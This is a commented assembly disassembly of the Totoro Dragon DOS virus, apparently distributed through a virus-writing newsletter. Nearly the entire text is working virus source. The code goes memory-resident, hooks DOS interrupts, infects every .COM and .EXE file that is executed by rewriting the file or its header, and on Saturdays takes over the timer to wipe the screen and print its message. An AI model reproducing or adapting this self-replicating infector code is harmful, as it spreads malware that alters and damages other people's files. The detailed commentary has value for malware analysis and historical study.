home *** CD-ROM | disk | FTP | other *** search
- ;TOTORO DRAGON disassembly. Included, for your pleasure, in Crypt
- ;Newsletter 14. Profuse thanks to Stormbringer, wherever he is.
-
- ;***************************************************************************
- ;* The Totoro Dragon Virus from Taiwan *
- ;***************************************************************************
- ;* This virus is a fairly simple resident .EXE/.COM infector. It goes *
- ;*resident by re-executing the infected file and using Int 21, function 31.*
- ;*When it infects a .COM, it puts itself at the beginning of the file and *
- ;*starts the host at an offset of 600h (700h in memory), giving the virus *
- ;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker *
- ;*at the end ("YTIT"). It infects .EXE files using the "standard" method. *
- ;*While it does save file attributes, the time and date change when a file *
- ;*is infected. The virus activates on Saturdays. When active, it installs*
- ;*an Int 08 (Timer click) handler that counts to 0CCCh, then shoves the *
- ;*text off the screen and prints the following in the upper left-hand *
- ;*corner: *
- ;* *
- ;* ╓──────────────────────╖ *
- ;* ║ Totoro Dragon ║ *
- ;* ║Hello! I am TOTORO CAT║ *
- ;* ║ Written by Y.T.J.C.T ║ *
- ;* ║ in Ping Tung. TAIWAN ║ *
- ;* ║ Don't Worry,be Happy ║ *
- ;* ╙──────────────────────╜ *
- ;* *
- ;*It then restarts the counter and does it again. Other that this effect, *
- ;*the virus seems relatively harmless. *
- ;* *
- ;* *
- ;* Disassembly by Stormbringer *
- ;***************************************************************************
- .model tiny
- .radix 16
- .code
- org 100h
-
- start:
- jmp short COM_Entry_Point
- nop
- ;***************************************************************************
- ;* Data Tables *
- ;***************************************************************************
- File_Size_Off dw 5
- File_Size_Seg dw 0
- TSR_DAT dw 4262h
- DS_Save dw 0F21h
- ES_Save dw 0F21h
- File_Attribs dw 20h
- IP_Save dw 0
- CS_Save dw 0F99
- SP_Save dw 0
- SS_Save dw 0
- File_Type db 'C'
-
- Wasted_Space db 0, 0, 0 ;?
-
- ;********************************************
- ; EXE_Header ;
- ;********************************************
- EXE_Sig db 'MZ'
- Last_Page_Len dw 14h
- EXE_Size dw 5
- Rel_Tbl_Items dw 0
- Header_Size dw 20h
- Minalloc dw 0
- Maxalloc dw 0ffff
- Init_SS dw 1
- Init_SP dw 700h
- Checksum dw 0
- Init_IP dw 91h
- Init_CS dw 1
- First_Rel dw 001Eh
- Overlay_Num dw 0
- ;********************************************
-
- CS_Store dw 0
- Command db 'COMMAND.COM', 0
- db 00h, 80h, 00h
- ES_Store_1 dw 0F21h
- dw 5Ch
- ES_Store_2 dw 0F21h
- dw 6Ch
- ES_Store_3 dw 0F21h
- File_Handle dw 5
-
- Buffer_For_Checks db 0
- db 4Ch,0CDh, 21h
-
- File_Name_Off dw 469h
- File_Name_Seg dw 0DF5h
- db 0
- Mem_Seg dw 0F93h
- IP_24 dw 156h
- CS_24 dw 0DF5h
-
- ;************************************************************************
- ;* Virus Entry Point #1 (COM) *
- ;************************************************************************
- COM_Entry_Point:
- mov ax,0F1F1h ;Is the virus in memory?
- int 21h
- mov cs:CS_Store,0
- mov cs:[ES_Save],es
- cmp ax,0F1F1h ;AX preserved?
- je Already_Installed ;Same? go Already_Installed
- jmp Install_Virus ;Not In Mem? go Install_Virus
-
- Already_Installed: ;Restore control to host file (COM)
- mov ax,cs
- mov es,ax ;ES = DS = CS
- mov ds,ax
- mov ah,0CBh ;Restore Control
- mov si,700h ;Offset of host in file
- mov di,100h ;Original offset of host
- mov cx,cs:[File_Size_Off] ;Size of host file
-
- int 21h ;Call internal routine to restore control
- ;to host .COM file.
-
- ;************************************************************************
- ;* Virus Entry Point #2 (EXE) *
- ;************************************************************************
- EXE_Entry_Point:
- mov ax,cs
- sub ax,10h
- push ax
- mov ax,offset After_Jump
- push ax
- retf ;Jump to After_Jump with
- ;original .COM offsets.
- After_Jump:
- mov cs:[ES_Save],es
- mov cs:[DS_Save],ds
- mov ax,0F1F1h
- int 21h
- cmp ax,0F1F1h ;Check if installed.
- jne Get_New_Seg ;Nope, Install....
-
- cli
- mov ax,cs:[SS_Save] ;Yes, restore host regs
- add ax,10h
- mov bx,es
- add ax,bx
- mov ss,ax
- mov sp,cs:[SP_Save]
- sti
-
- mov ax,cs:[CS_Store]
- mov bx,es
- add ax,bx
- add ax,10h
- mov word ptr cs:[IP_Save+2],ax
- jmp dword ptr cs:[IP_Save] ;Restore Control to
- ;.EXE host.
-
- Get_New_Seg:
- push es ;For later RETF
- xor ax,ax
- mov ds,ax ;DS = 0
-
- ;****************************************************************************
- ;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
- ;* (unused) part of the interrupt tables. This virus uses the top three*
- ;* bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
- ;* by a retf. This is to copy the virus to a new segment in memory and*
- ;* jump to it. *
- ;****************************************************************************
-
- mov word ptr ds:[3fdh],0A4F3h ;repnz movsb
- mov byte ptr ds:[3ffh],0CBh ;retf
-
- push cs
- pop ds
-
- mov si,100h
- mov di,si ;Copy virus to new segment
- mov cx,600h ;and "RETF" to
- mov ax,offset Install_Virus ;Install_Virus in new copy
- push ax
- db 0EAh,0FDh, 03h, 00h, 00h ;Jump far 0:3FDh
-
- Install_Virus:
- cli ;Disable interrupts
- push cs
- pop ds
- mov ah,2Ah
- int 21h ;Get Day/Date
-
- cmp al,6 ;Is it Saturday?
- jne Set_Int_21 ;Nope, don't activate, just
- mov ax,3508h ;infect files.
- int 21h ;Get Int 08 address
-
- mov word ptr cs:[IP_08],bx
- mov word ptr cs:[CS_08],es
- mov dx,offset Int_08
- mov ax,2508h
- int 21h ;Set Int 08
-
- Set_Int_21:
- mov ax,3521h
- int 21h ;Get Int 21 address
-
- mov word ptr cs:[IP_21],bx
- mov word ptr cs:[CS_21],es
- mov dx,offset Int_21
- mov ax,2521h
- int 21h ;Set Int_21
-
- mov es,cs:[ES_Save]
- cmp cs:[TSR_DAT],426Bh ;Second Execute?
- je Go_TSR ;Yep, go TSR
-
- mov bx,1000h ;Nope, set up for second exec.
- mov ah,4Ah
- int 21h ;Change Mem Allocation
- ;to 64k.
-
- mov es,es:[2ch] ;Environment string
- xor di,di
- xor al,al
- mov cx,7FFFh
-
- Find_Filename: ;Search Environment for
- repne scasb ;filename of host.
- cmp es:[di],al
- loopnz Find_Filename
-
- add di,3 ;Skip drive designator
- ;i.e. "C:\" in
- ;"C:\Infected.EXE"
- mov dx,di
-
- push es
- pop ds ;DS:DX = host filename
- push cs
- pop es
-
- cli ;Clears Ints (so none can
- ;disrupt second execution
- ;of virus)
-
- mov ax,cs:[ES_Save]
- mov cs:[ES_Store_1],ax
- mov cs:[ES_Store_2],ax
- mov cs:[ES_Store_3],ax
- mov bx,144h
- mov ax,4B00h ;Re-Execute the file
- pushf
- call dword ptr cs:[IP_21] ;Call Int 21 to Execute file.
-
- Go_TSR:
- mov ah,31h
- mov dx,71h
- int 21h ;Terminate and Stay Resident.
-
- Int_21:
- pushf ;Push flags
- cmp ax,0F1F1h ;Is it an Install Check?
- jne Is_It_Execute ;No, Go Is_It_Execute
- mov ax,0F1F1h ;Yes, save value (unneccesary)
- popf
- iret ;Return to virus in program.
-
- Is_It_Execute:
- cmp ax,4B00h ;Is it a Load & Execute call?
- jne Restore_Host ;Nope, continue on.
- call execute ;Infect the file if possible.
- jmp short Go_Int_21 ;And go to old Int 21 handler.
- nop
- Restore_Host:
- cmp ah,0CBh ;Is it a request to restore
- jne Go_Int_21 ;control to host?
- pop ax ax ;Pop flags + Old IP (not kept)
- mov word ptr cs:[IP_Save],100h
- pop ax
- mov word ptr cs:[IP_Save+2],ax
- rep movsb ;Restore Host to orig. Pos.
- popf ;Completely remove old Int call
- mov ax,0
- jmp dword ptr cs:[IP_Save] ;Jump to Host:100
- Go_Int_21:
- popf ; Pop flags
-
- db 0ea ;Jump to Int 21
- IP_21 dw 040ebh
- CS_21 dw 0011
-
-
- execute:
- push es ds ax bx cx dx si di
- mov cs:[File_Name_Seg],ds
- mov cs:[File_Name_Off],dx
- mov ax,3524h ;Get Int 24 Address
- int 21h ;(Critical Error)
-
- mov cs:[IP_24],bx
- mov cs:[CS_24],es
- push cs
- pop ds
- mov dx,offset Int_24
- mov ax,2524h
- int 21h ;Set Int 24
-
- mov ds,cs:[File_Name_Seg]
- mov si,cs:[File_Name_Off]
-
- Name_Check:
- lodsb
- or al,al ;Is the first byte a zero?
- jnz Name_Check ;Nope, find end of string
- mov al,[si-2]
- and al,0DFh
- cmp al,4Dh ;'M'
- je Is_Com ;COM file, jump Is_Com
- cmp al,45h ;'E'
- je Is_EXE ;EXE file, jump Is_EXE
- jmp Clean_Up ;Neither? Go Clean_Up
- Is_Com:
- mov cs:[File_Type],'C' ;Save File type for later.
- jmp short Check_If_Command
- nop
- Is_EXE:
- mov cs:[File_Type],'E'
-
- Check_If_Command:
- sub si,0Ch
- mov di,offset Command
- push cs
- pop es
- mov cx,0Bh ;Is it Command.COM?
- repe cmpsb
- jnz Start_Infect ;No, Jump Start_Infect
- Got_An_Error:
- jmp Clean_Up ;Is Command, get otta here.
-
- Start_Infect:
- mov ds,cs:[File_Name_Seg]
- mov dx,cs:[File_Name_Off]
- mov ax,4300h
- int 21h ;Get Attribs
-
- jc Got_An_Error
- mov cs:[File_Attribs],cx
- xor cx,cx
- mov ax,4301h
- int 21h ;Zero Attrib's for read/write
-
- jc Got_An_Error
- mov ax,3D02h
- int 21h ;Open Read/Write
-
- jnc Check_Infect ;Everything Fine? go Check_Infect
- jmp Reset_Attribs ;Couldn't Open, go Reset_Attribs
-
- Check_Infect:
- mov bx,ax
- mov cs:[File_Handle],ax
- mov cx,0FFFFh
- mov dx,0FFFCh
- mov ax,4202h
- int 21h ;Move to 4 bytes from end
-
- add ax,4
- mov cs:[File_Size_Off],ax
- push cs
- pop ds
- mov dx,offset Buffer_For_Checks
- mov cx,4
- mov ah,3Fh
- int 21h
- ;Read in Last 4 bytes of file
- push cs
- pop es
- mov cx,4
- mov si,offset Marker ;are last 4 bytes 'YTIT'?
- mov di,offset Buffer_For_Checks ;
- repe cmpsb
- jnz Check_Which_Type ;Not infected? Go Check_Which_Type
- jmp Close_File ;Infected? Go Close_File
-
- Check_Which_Type:
- cmp cs:[File_Type],'C' ;Is it a .COM?
- je COM_Infect ;Yes, go COM_Infect
- jmp EXE_Infect ;No, go EXE_Infect
-
- COM_Infect:
- mov ah,48h
- mov bx,1000h
- int 21h ;Allocate 64k of memory
-
- jnc Load_In_File ;No Prob? Go Load_In_File
- jmp Close_File ;Otherwise, go Close_File
-
- Load_In_File:
- mov cs:[Mem_Seg],ax
- mov bx,cs:[File_Handle]
- xor cx,cx
- xor dx,dx
- mov ax,4200h
- int 21h ;Go to beginning of file
-
- push cs
- pop ds
- mov es,cs:[Mem_Seg]
-
- mov si,100
-
- mov di,si
- mov cx,700h
- rep movsb
- mov ds,cs:Mem_Seg
- mov cx,cs:[File_Size_Off]
- mov dx,700h
- mov ah,3Fh ;Load entire file to directly
- int 21h ;after virus.
-
- xor cx,cx
- xor dx,dx
- mov ax,4200h
- int 21h ;Move to the beginning of file
-
- mov dx,100h
- mov cx,cs:[File_Size_Off]
- add cx,600h
- mov ah,40h
- int 21h ;Write entire file back to disk
-
- jc Go_Release_Mem
- xor cx,cx
- xor dx,dx
- mov ax,4202h
- int 21h ;Move to end of file
-
- mov cs:[File_Size_Seg],0 ;COM < 64k
- add ax,4 ;Add 4 for marker bytes
- mov cs:[File_Size_Off],ax ;Save file size
- push cs
- pop ds
- mov dx,offset Marker
- mov cx,4
- mov ah,40h
- int 21h ;Write in marker 'YTIT'
-
- Go_Release_Mem:
- jmp Release_Mem
- jmp Close_File
-
- EXE_Infect:
- xor cx,cx
- xor dx,dx
- mov ax,4200h
- int 21h ;Move to beginning of file
-
- push cs
- pop ds
- db 8dh,16h,1bh,01 ;lea dx,cs:[11Bh]
- mov cx,1Ch
- mov ah,3Fh
- int 21h ;Read in .EXE header
-
- Save_Header_NFO:
- cli ;clear ints
- mov ax,cs:[Init_CS]
- mov cs:[CS_Store],ax ;Save old CS
- mov ax,cs:[Init_IP]
- mov word ptr cs:[IP_Save],ax ;Save old IP
- mov ax,cs:[Init_SS]
- mov cs:[SS_Save],ax ;Save old SS
- mov ax,cs:[Init_SP]
- mov cs:[SP_Save],ax ;Save old SP
- sti ;restore ints
-
- xor ax,ax
- cmp cs:[Last_Page_Len],0
- je Calculate_Exe_Header
- dec cs:[EXE_Size]
-
- Calculate_Exe_Header: ;Long, drawn out way
- ;to calculate new EXE header
- mov cx,200h
- xor dx,dx
- mov ax,cs:[EXE_Size]
- mul cx
- add ax,cs:[Last_Page_Len]
- add ax,0Fh
- adc dx,0
- and ax,0FFF0h
- mov cs:[File_Size_Off],ax
- mov cs:[File_Size_Seg],dx
- push dx ax dx ax
- xor dx,dx
- mov ax,cs:[Header_Size]
- mov cx,10h
- mul cx
- pop bx cx
- sub bx,ax
- sbb cx,dx
- xchg ax,bx
- xchg dx,cx
- mov cx,10h
- div cx
- mov cs:[Init_CS],ax
- mov cs:[Init_SS],ax
- mov cs:[Init_SP],700h
- mov cs:[Init_IP],offset EXE_Entry_Point-100
- pop ax dx
- push dx ax
- add ax,604h
- adc dx,0
- mov cx,200h
- div cx
- mov cs:Last_Page_Len,dx
- or dx,dx
- jz Rewrite_Header
- inc ax
-
- Rewrite_Header:
- mov cs:[EXE_Size],ax
- xor cx,cx
- xor dx,dx
- mov bx,cs:[File_Handle]
- mov ax,4200h
- int 21h ;Move back to beginning of file
-
- push cs
- pop ds
- mov dx,offset EXE_Sig
- mov cx,1Ch
- mov ah,40h
- int 21h ;Write EXE header back to file
-
- pop dx
- pop cx
- jc Close_File
- mov ax,4200h
- int 21h ;Go to end of host.
-
- push cs
- pop ds
- mov dx,100
- mov cx,600h
- mov ah,40h
- int 21h ;Write Virus
- jc Close_File
-
- xor cx,cx
- xor dx,dx
- mov ax,4202h
- int 21h ;Go to end of file.
-
- mov dx,offset Marker
- mov cx,4
- mov ah,40h
- int 21h ;Write marker byte.
-
- jmp short Close_File
- nop
- Release_Mem:
- mov es,cs:Mem_Seg
- mov ah,49h
- int 21h ;Release Memory
-
- Close_File:
- mov ah,3Eh
- mov bx,cs:[File_Handle]
- int 21h ;Close file.
-
- Reset_Attribs:
- mov ds,cs:File_Name_Seg
- mov dx,cs:File_Name_Off
- mov cx,cs:File_Attribs
- mov ax,4301h
- int 21h ;Reset File attributes
-
- Clean_Up:
- mov ds,cs:[CS_24] ;Restore Critical Error
- mov dx,cs:[IP_24]
- mov ax,2524h
- int 21h
-
- pop di si dx cx bx ax ds es
- retn
-
-
- Int_24: ;Critical Error Handler
- xor ax,ax
- iret
-
- Int_08: ;Timer Click Handler
- pushf
- inc cs:[Activation_Counter]
- cmp cs:[Activation_Counter],0CCCh
- jne Go_Int_08
- mov cs:[Activation_Counter],0 ;Reset Counter
- push ds es si di ax bx cx dx
- call Get_Mode
- call Scroll_Area
- call Print_Message
- pop dx cx bx ax di si es ds
- Go_Int_08:
- popf ; Pop flags
- db 0EA
- IP_08 dw 003Ch
- CS_08 dw 0D80h
-
- Screen_Width dw 0
- Activation_Counter dw 1E0h
-
- Get_Mode:
- mov ah,0Fh
- int 10h ;Get Video Mode
-
- mov bx,0B000h ;Mode 7 Text Video Memory
- mov es,bx
- cmp al,7
- je In_Mode_7
- mov bx,0B800h ;Regular Text Video Memory
- In_Mode_7:
- mov es,bx
- mov ds,bx
- mov cs:[Screen_Width],4Fh
-
- Setup_Screen:
- mov cx,19h
- mov bx,0
- Clear_Screen:
- push cx
- call Scroll_Line
- add bx,0A0h
- pop cx
- loop Clear_Screen
-
- dec cs:[Screen_Width]
- jnz Setup_Screen
- retn
-
- Scroll_Line: ;This subroutine clears the
- mov di,bx ;screen by scrolling the text
- mov si,bx ;straight off of the left
- add si,2 ;side.
- mov cx,cs:[Screen_Width]
-
- Scroll_Sideways:
- lodsb
- stosb
- inc si
- inc di
- loop Scroll_Sideways
- retn
-
- Print_Message:
- xor bx,bx
- push cs
- pop ds
- db 8dh,36h,18h,06 ;lea si,cs:[Totoro_Design]
- mov ah,0Eh
- Print_Loop:
- lodsb
- int 10h ;Write Char in Teletype mode
- cmp byte ptr [si],24h ;is it a '$'?
- jne Print_Loop ;Nope, continue writing
- retn
-
- Scroll_Area:
- xor bx,bx ;Video Page 0
- mov ah,3
- int 10h ;Get Cursor info
-
- push dx ;Push Cursor Location (DX)
- mov ah,6
- mov bh,7
- mov al,18h
- xor cx,cx
- mov dh,18h
- mov dl,4Fh
- int 10h ;Scroll up (clear screen)
-
- mov ah,2
- pop dx
- sub dh,2
- xor bx,bx
- int 10h ;Reset Cursor
-
- xor bx,bx
- xor dx,dx
- mov ah,2
- int 10h ;Set Cursor for printing.
- retn
-
- Totoro_Design:
- db ' ╓──────────────────────╖',0Dh, 0Ah
- db ' ║ Totoro Dragon ║',0Dh, 0Ah
- db ' ║Hello! I am TOTORO CAT║',0Dh, 0Ah
- db ' ║ Written by Y.T.J.C.T ║',0Dh, 0Ah
- db ' ║ in Ping Tung. TAIWAN ║',0Dh, 0Ah
- db ' ║ Don''t Worry,be Happy ║',0Dh, 0Ah
- db ' ╙──────────────────────╜$'
- Marker db 'YTIT'
- db 28 dup (0)
-
- ;***************************************************************************
- ;*End of virus. The bytes below this line are the infected program and the *
- ;* viruses' identification bytes. *
- ;***************************************************************************
-
- Host_Program:
- mov ax,4c00
- int 21
-
- Infected_Mark db 'YTIT'
- end start
-